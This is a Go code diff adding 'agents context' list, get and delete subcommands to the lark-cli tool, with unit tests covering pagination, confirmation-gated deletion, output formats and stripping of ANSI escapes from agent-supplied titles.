// unconfigured — the example echo card declares no parameters, so no --param is
// needed. A malformed --param must still surface as validation, unconfigured.
func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
err := agentSendRun(&sendOptions{
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
})
if err != nil {
t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
}
// A malformed --param (no '=') is still a validation error, unconfigured.
err = agentSendRun(&sendOptions{
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
Params: []string{"noequals"}, DryRun: true, As: "bot",
})
if err == nil || !errs.IsValidation(err) {
t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
}
}

316
cmd/agents/context.go Normal file
View File

@@ -0,0 +1,316 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"fmt"
"io"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
)
// contextOptions holds all inputs for the `agents context list|get|delete`
// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
// Ref, As) are wired once; each RunE reads only the fields its verb needs.
type contextOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
CtxID string
Params []string
Yes bool
As string
Format string
PageSize int
PageToken string
}
// NewCmdAgentContext builds the `agents context` command group: manage a remote
// agent's multi-turn contexts (each verb gated on its own capability:
// context_list / context_get / context_delete). It is a pure group with
// no RunE so an unknown subcommand is reported rather than silently swallowed.
func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "context",
Short: "Manage a remote agent's multi-turn contexts (sessions)",
Long: "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
}
cmd.AddCommand(NewCmdAgentContextList(f))
cmd.AddCommand(NewCmdAgentContextGet(f))
cmd.AddCommand(NewCmdAgentContextDelete(f))
return cmd
}
// NewCmdAgentContextList builds `agents context list <ref>`: enumerate the
// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
opts := &contextOptions{Factory: f}
cmd := &cobra.Command{
Use: "list <agent_ref>",
Short: "List a remote agent's multi-turn contexts",
Long: "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
if err := validatePageSize(opts.PageSize); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
return agentContextListRun(opts)
},
}
addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentContextGet builds `agents context get <ref> <ctx-id>`: fetch a
// single context's detail. Risk=read.
func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
opts := &contextOptions{Factory: f}
cmd := &cobra.Command{
Use: "get <agent_ref> <ctx-id>",
Short: "Show the detail of a single multi-turn context",
Long: "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.CtxID = args[1]
return agentContextGetRun(opts)
},
}
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentContextDelete builds `agents context delete <ref> <ctx-id>`: destroy
// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
// requires --yes; without it the command returns a confirmation_required error
// (exit 10) before touching the API. Risk=high-risk-write.
func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
opts := &contextOptions{Factory: f}
cmd := &cobra.Command{
Use: "delete <agent_ref> <ctx-id>",
Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
Long: "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.CtxID = args[1]
return agentContextDeleteRun(opts)
},
}
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除(高危操作,不加则返回 exit 10")
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
return cmd
}
// agentContextListRun runs `context list`: resolves the provider, lists
// contexts in the provider's most-recent-first order, and emits {contexts:[...]}
// with meta.count through content-safety scanning (the rollup is derived from
// untrusted agent activity).
func agentContextListRun(opts *contextOptions) error {
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
// unavailable_for_brand uniformly for every verb — even one it does not wire —
// so it must precede the capability nil-gate below.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
// Capability gate BEFORE the client: context_list is derived from ListContexts
// being wired, so a spec without it returns unsupported_capability offline.
if spec.ListContexts.Handler == nil {
return capabilityError(opts.Ref, "context list", iagents.CapContextList)
}
// Per-capability brand gate: applies only to a wired op.
if err := opBrandGate(f, spec.ListContexts.Brands, opts.Ref, "context list"); err != nil {
return err
}
vp, err := validateParams(opts.Params, spec.ListContexts.Params, iagents.VerbContextList, spec, opts.Ref)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
contexts, pageInfo, err := spec.ListContexts.Handler(opts.Cmd.Context(), rt,
iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
if err != nil {
return err
}
// Ordering is the provider's contract (most-recent-first), consistent across
// and within pages — the CLI does not re-sort a page.
if contexts == nil {
contexts = []iagents.ContextSummary{} // always emit [] not null (matches the Card.Parameters array convention)
}
return scanAndEmitData(f, opts.Cmd, opts.Format,
map[string]interface{}{"contexts": contexts},
listMetaPage(len(contexts), pageInfo, contextListNext(opts, f, pageInfo)),
func(w io.Writer) { printContextsTSV(w, contexts) })
}
// contextListNext builds the next-page action for `context list`, replaying the
// caller's ref with the returned cursor. The ref is gated by safeNextRef; a
// failing ref drops the action (the cursor still rides meta.page_token as data).
func contextListNext(opts *contextOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
if !safeNextRef(opts.Ref) {
return nil
}
next := nextPageAction(fmt.Sprintf("lark-cli agents context list %s", opts.Ref), opts.PageSize, info)
carryAsIntoNext(opts.Cmd, f, next)
return next
}
// agentContextGetRun runs `context get`: resolves the provider, fetches the
// context detail (metadata + rollup + the single active_task, NOT the full task
// list), derives the active task's IsTerminal, and emits it through
// content-safety scanning (active_task.Summary is untrusted agent text).
func agentContextGetRun(opts *contextOptions) error {
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
// unavailable_for_brand uniformly for every verb — even one it does not wire —
// so it must precede the capability nil-gate below.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
// Capability gate BEFORE the client.
if spec.GetContext.Handler == nil {
return capabilityError(opts.Ref, "context get", iagents.CapContextGet)
}
// Per-capability brand gate: applies only to a wired op.
if err := opBrandGate(f, spec.GetContext.Brands, opts.Ref, "context get"); err != nil {
return err
}
vp, err := validateParams(opts.Params, spec.GetContext.Params, iagents.VerbContextGet, spec, opts.Ref)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
detail, err := spec.GetContext.Handler(opts.Cmd.Context(), rt, opts.CtxID)
if err != nil {
return err
}
if detail != nil && detail.ActiveTask != nil {
// Derive IsTerminal from State (single source of truth) for the active task
// summary before emission — the provider only fills State.
detail.ActiveTask.IsTerminal = detail.ActiveTask.State.IsTerminal()
}
return scanAndEmitData(f, opts.Cmd, opts.Format, detail, nil,
func(w io.Writer) { printContextDetailPretty(w, detail) })
}
// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
// first so a missing confirmation returns confirmation_required (exit 10) before
// any provider is built and holds even under a nil Factory. Only a
// confirmed delete reaches resolveSpec + DeleteContext.
func agentContextDeleteRun(opts *contextOptions) error {
if !opts.Yes {
// Not the generic English RequireConfirmation: deletion is the most
// destructive gate in the agent tree, so the message must state the
// irreversible blast radius in the same voice (Chinese, self-contained)
// as the other two exit-10 gates.
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents context delete",
"删除会话将不可逆地移除该会话及其名下全部任务记录").
WithHint("确认要删除后,加 --yes 重发")
}
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
// unavailable_for_brand uniformly for every verb — even one it does not wire —
// so it must precede the capability nil-gate below.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
// Capability gate BEFORE the client.
if spec.DeleteContext.Handler == nil {
return capabilityError(opts.Ref, "context delete", iagents.CapContextDelete)
}
// Per-capability brand gate: applies only to a wired op.
if err := opBrandGate(f, spec.DeleteContext.Brands, opts.Ref, "context delete"); err != nil {
return err
}
vp, err := validateParams(opts.Params, spec.DeleteContext.Params, iagents.VerbContextDelete, spec, opts.Ref)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
if err := spec.DeleteContext.Handler(opts.Cmd.Context(), rt, opts.CtxID); err != nil {
return err
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}

578
cmd/agents/context_test.go Normal file
View File

@@ -0,0 +1,578 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
)
// contextCmdCtx builds a `lark-cli agents context <leaf>` command whose --as flag
// is set to bot so ResolveAs honors it verbatim, and carries a context.
func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
t.Helper()
root := &cobra.Command{Use: "lark-cli"}
group := &cobra.Command{Use: "agents"}
grp := &cobra.Command{Use: "context"}
l := &cobra.Command{Use: leaf}
root.AddCommand(group)
group.AddCommand(grp)
grp.AddCommand(l)
l.Flags().String("as", "", "identity")
if err := l.Flags().Set("as", "bot"); err != nil {
t.Fatal(err)
}
l.SetContext(context.Background())
return l
}
// contextTestOpts wires a contextOptions against a real (test) Factory,
// addressing the scripted fakeflow agent agt_x under a bot identity. The
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
// test; provider behavior is scripted via setScripted.
func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
t.Helper()
registerScripted()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, reg := cmdutil.TestFactory(t, cfg)
return &contextOptions{
Factory: f,
Cmd: contextCmdCtx(t, leaf),
Ref: "fakeflow:agt_x",
As: "bot",
PageSize: defaultPageSize,
}, reg
}
// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
// confirmation_required error (exit 10), raised before any provider is built.
func TestContextDeleteRequiresYes(t *testing.T) {
err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
if err == nil {
t.Fatal("context delete without --yes should report confirmation_required")
}
if !errs.IsConfirmationRequired(err) {
t.Fatalf("should be a confirmation_required error, got %T", err)
}
if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
t.Fatalf("exit code should be 10, got %d", code)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
t.Fatalf("subtype should be confirmation_required, got %+v", p)
}
}
// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
// deletes the session, and emits a success envelope.
func TestContextDeleteWithYes(t *testing.T) {
opts, _ := contextTestOpts(t, "delete")
opts.CtxID = "sess_1"
opts.Yes = true
var deleted string
setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
deleted = ctxID
return nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextDeleteRun(opts); err != nil {
t.Fatalf("context delete --yes should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["context_id"] != "sess_1" || data["deleted"] != true {
t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
}
if deleted != "sess_1" {
t.Errorf("provider should receive the context id to delete, got %q", deleted)
}
}
// TestContextDeleteProviderError surfaces a provider DeleteContext failure
// (non-zero business code) after --yes passes.
func TestContextDeleteProviderError(t *testing.T) {
opts, _ := contextTestOpts(t, "delete")
opts.CtxID = "sess_1"
opts.Yes = true
setScripted(t, scriptedHooks{deleteContext: func(string) error {
return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentContextDeleteRun(opts); err == nil {
t.Fatal("a DeleteContext error should propagate")
}
}
// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
// after the --yes confirmation guard passes.
func TestContextDeleteInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestContextListEmitsContexts pins that `context list` returns
// {contexts:[...]} with a meta.count.
func TestContextListEmitsContexts(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
return []iagents.ContextSummary{
{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
{ContextID: "sess_2"},
}, iagents.PageInfo{}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
contexts, ok := data["contexts"].([]interface{})
if !ok || len(contexts) != 2 {
t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
}
if env.Meta == nil || env.Meta.Count != 2 {
t.Errorf("meta.count should be 2, got %+v", env.Meta)
}
}
// TestContextListSortedByUpdatedAtDesc pins the ordering + enriched-field
// contract: the provider returns contexts in most-recent-first order (its
// contract), and the command emits them verbatim while carrying the updated_at /
// awaiting_input rollup for each (task_count is a `context get` field, never a
// list one).
func TestContextListSortedByUpdatedAtDesc(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
return []iagents.ContextSummary{
{ContextID: "new", UpdatedAt: "2026-07-05T12:00:00Z", AwaitingInput: true},
{ContextID: "mid", UpdatedAt: "2026-07-05T11:00:00Z"},
{ContextID: "old", UpdatedAt: "2026-07-05T10:00:00Z"},
}, iagents.PageInfo{}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
contexts, ok := data["contexts"].([]interface{})
if !ok || len(contexts) != 3 {
t.Fatalf("data.contexts should have 3 entries, got %v", data["contexts"])
}
want := []string{"new", "mid", "old"}
for i, w := range want {
c, _ := contexts[i].(map[string]interface{})
if c["context_id"] != w {
t.Errorf("contexts[%d].context_id should be %q (newest-first), got %v", i, w, c["context_id"])
}
}
first, _ := contexts[0].(map[string]interface{})
if first["updated_at"] != "2026-07-05T12:00:00Z" {
t.Errorf("contexts[0].updated_at should be carried, got %v", first["updated_at"])
}
if _, ok := first["task_count"]; ok {
t.Errorf("context list entries must not carry task_count, got %v", first["task_count"])
}
if first["awaiting_input"] != true {
t.Errorf("contexts[0].awaiting_input should be true, got %v", first["awaiting_input"])
}
}
// TestContextListPaginationMeta pins the command-level pagination envelope for
// context list: a provider that returns a page plus PageInfo{HasMore,NextToken}
// surfaces as meta.has_more / meta.page_token, and meta.next carries a "下一页"
// action whose command replays the ref with --page-size / --page-token.
func TestContextListPaginationMeta(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
opts.PageSize = 2
setScripted(t, scriptedHooks{listContexts: func(page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
if page.Size != 2 {
t.Errorf("the hook should receive the requested page size 2, got %d", page.Size)
}
return []iagents.ContextSummary{
{ContextID: "sess_1", UpdatedAt: "2026-07-05T12:00:00Z"},
{ContextID: "sess_2", UpdatedAt: "2026-07-05T11:00:00Z"},
},
iagents.PageInfo{NextToken: "2", HasMore: true}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("paged context list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
if env.Meta == nil {
t.Fatal("a paged list should carry meta")
}
if !env.Meta.HasMore {
t.Error("meta.has_more should be true")
}
if env.Meta.PageToken != "2" {
t.Errorf("meta.page_token should be the next cursor \"2\", got %q", env.Meta.PageToken)
}
found := false
for _, n := range env.Meta.Next {
if n.Label == "下一页" && strings.Contains(n.Command, "lark-cli agents context list fakeflow:agt_x") &&
strings.Contains(n.Command, "--page-size 2") && strings.Contains(n.Command, "--page-token 2") {
found = true
}
}
if !found {
t.Errorf("meta.next should contain a 下一页 action replaying the ref + --page-size/--page-token, got %+v", env.Meta.Next)
}
}
// TestContextListError surfaces a provider ListContexts failure.
func TestContextListError(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
return nil, iagents.PageInfo{}, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentContextListRun(opts); err == nil {
t.Fatal("a ListContexts error should propagate")
}
}
// TestContextListInvalidRef surfaces a malformed ref as a validation error.
func TestContextListInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestContextGetEmitsDetail pins the enriched `context get` shape: metadata +
// the task_count / awaiting_input rollup + a single active_task — and NO longer
// a full tasks[] array (that moved to `agents task list --context-id`). The
// active task's is_terminal is derived from State (input_required ⇒ false).
func TestContextGetEmitsDetail(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
return &iagents.ContextDetail{
ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00",
UpdatedAt: "2026-07-05T12:00:00+08:00", TaskCount: iagents.Int(2), AwaitingInput: true,
ActiveTask: &iagents.TaskSummary{
TaskID: "chat_2", State: iagents.StateInputRequired,
UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供季度",
},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextGetRun(opts); err != nil {
t.Fatalf("context get should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["context_id"] != "sess_1" {
t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
}
if data["title"] != "销售分析" {
t.Errorf("data.title should be echoed, got %v", data["title"])
}
if data["task_count"] != float64(2) {
t.Errorf("data.task_count should be 2, got %v", data["task_count"])
}
if data["awaiting_input"] != true {
t.Errorf("data.awaiting_input should be true, got %v", data["awaiting_input"])
}
if _, hasTasks := data["tasks"]; hasTasks {
t.Errorf("context get should no longer embed a tasks[] array, got %v", data["tasks"])
}
active, ok := data["active_task"].(map[string]interface{})
if !ok {
t.Fatalf("data.active_task should be present, got %v", data["active_task"])
}
if active["task_id"] != "chat_2" {
t.Errorf("active_task.task_id should be chat_2, got %v", active["task_id"])
}
if active["is_terminal"] != false {
t.Errorf("active_task.is_terminal should be derived from State (input_required ⇒ false), got %v", active["is_terminal"])
}
if active["summary"] != "请提供季度" {
t.Errorf("active_task.summary should carry the pending prompt, got %v", active["summary"])
}
}
// TestContextGetError surfaces a provider GetContext failure.
func TestContextGetError(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
setScripted(t, scriptedHooks{getContext: func(string) (*iagents.ContextDetail, error) {
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentContextGetRun(opts); err == nil {
t.Fatal("a GetContext error should propagate")
}
}
// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
func TestContextGetInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestContextListWithJq pins the --jq output branch for list: the filtered
// value (not the full envelope) is what reaches stdout.
func TestContextListWithJq(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
return []iagents.ContextSummary{{ContextID: "sess_1"}}, iagents.PageInfo{}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list --jq should not error: %v", err)
}
got := strings.TrimSpace(string(out.Bytes()))
if got != "1" {
t.Errorf("--jq .data.contexts | length should output 1, got %q", got)
}
if strings.Contains(got, `"ok"`) {
t.Errorf("--jq output should be the filtered value, not the full envelope, got %q", got)
}
}
// TestContextListEmptyEmitsArray pins the array convention: an empty context
// list serializes as [] (never null), matching Card.Parameters.
func TestContextListEmptyEmitsArray(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
return nil, iagents.PageInfo{}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
v, present := data["contexts"]
if !present {
t.Fatal("data.contexts key should be present")
}
if _, ok := v.([]interface{}); !ok {
t.Errorf("empty context list should emit a JSON array (not null), got %T: %v", v, v)
}
if env.Meta != nil {
t.Errorf("empty list should omit meta entirely (no ambiguous {} shape), got %+v", env.Meta)
}
}
// TestContextListPretty exercises the --format pretty human-view branch for
// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
// stripped of ANSI escapes.
func TestContextListPretty(t *testing.T) {
opts, _ := contextTestOpts(t, "list")
opts.Format = "pretty"
setScripted(t, scriptedHooks{listContexts: func(iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
return []iagents.ContextSummary{
{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
}, iagents.PageInfo{}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextListRun(opts); err != nil {
t.Fatalf("context list --format pretty should not error: %v", err)
}
s := string(out.Bytes())
if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n") {
t.Errorf("pretty output should start with a header row, got %q", s)
}
if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
t.Errorf("pretty output should contain context_id and title, got %q", s)
}
if strings.Contains(s, "\x1b") {
t.Errorf("ANSI sequences in Title must be stripped: %q", s)
}
if strings.Contains(s, `"ok"`) {
t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
}
}
// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
// filtered through the jq expression.
func TestContextGetWithJq(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
opts.Cmd.Flags().String("jq", "", "")
if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
t.Fatal(err)
}
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
return &iagents.ContextDetail{ContextID: ctxID}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextGetRun(opts); err != nil {
t.Fatalf("context get --jq should not error: %v", err)
}
got := strings.TrimSpace(string(out.Bytes()))
if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
}
}
// TestContextGetPretty pins the --format pretty branch on context get: key:
// value lines with the task_count / awaiting_input rollup + a one-line
// active_task digest, title ANSI-stripped, and no full tasks[] list.
func TestContextGetPretty(t *testing.T) {
opts, _ := contextTestOpts(t, "get")
opts.CtxID = "sess_1"
opts.Format = "pretty"
setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
return &iagents.ContextDetail{
ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
TaskCount: iagents.Int(1), AwaitingInput: false,
ActiveTask: &iagents.TaskSummary{
TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true, Summary: "分析完成",
},
}, nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentContextGetRun(opts); err != nil {
t.Fatalf("context get --format pretty should not error: %v", err)
}
s := string(out.Bytes())
for _, want := range []string{"context_id: sess_1", "title: 销售分析", "task_count: 1", "active_task: completed"} {
if !strings.Contains(s, want) {
t.Errorf("pretty output should contain %q, got %q", want, s)
}
}
if strings.Contains(s, "\x1b") {
t.Errorf("ANSI sequences in title must be stripped: %q", s)
}
if strings.Contains(s, "tasks:") {
t.Errorf("context get pretty should no longer render a tasks[] list, got %q", s)
}
}
// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
func findSub(cmd *cobra.Command, name string) *cobra.Command {
for _, c := range cmd.Commands() {
if c.Name() == name {
return c
}
}
return nil
}
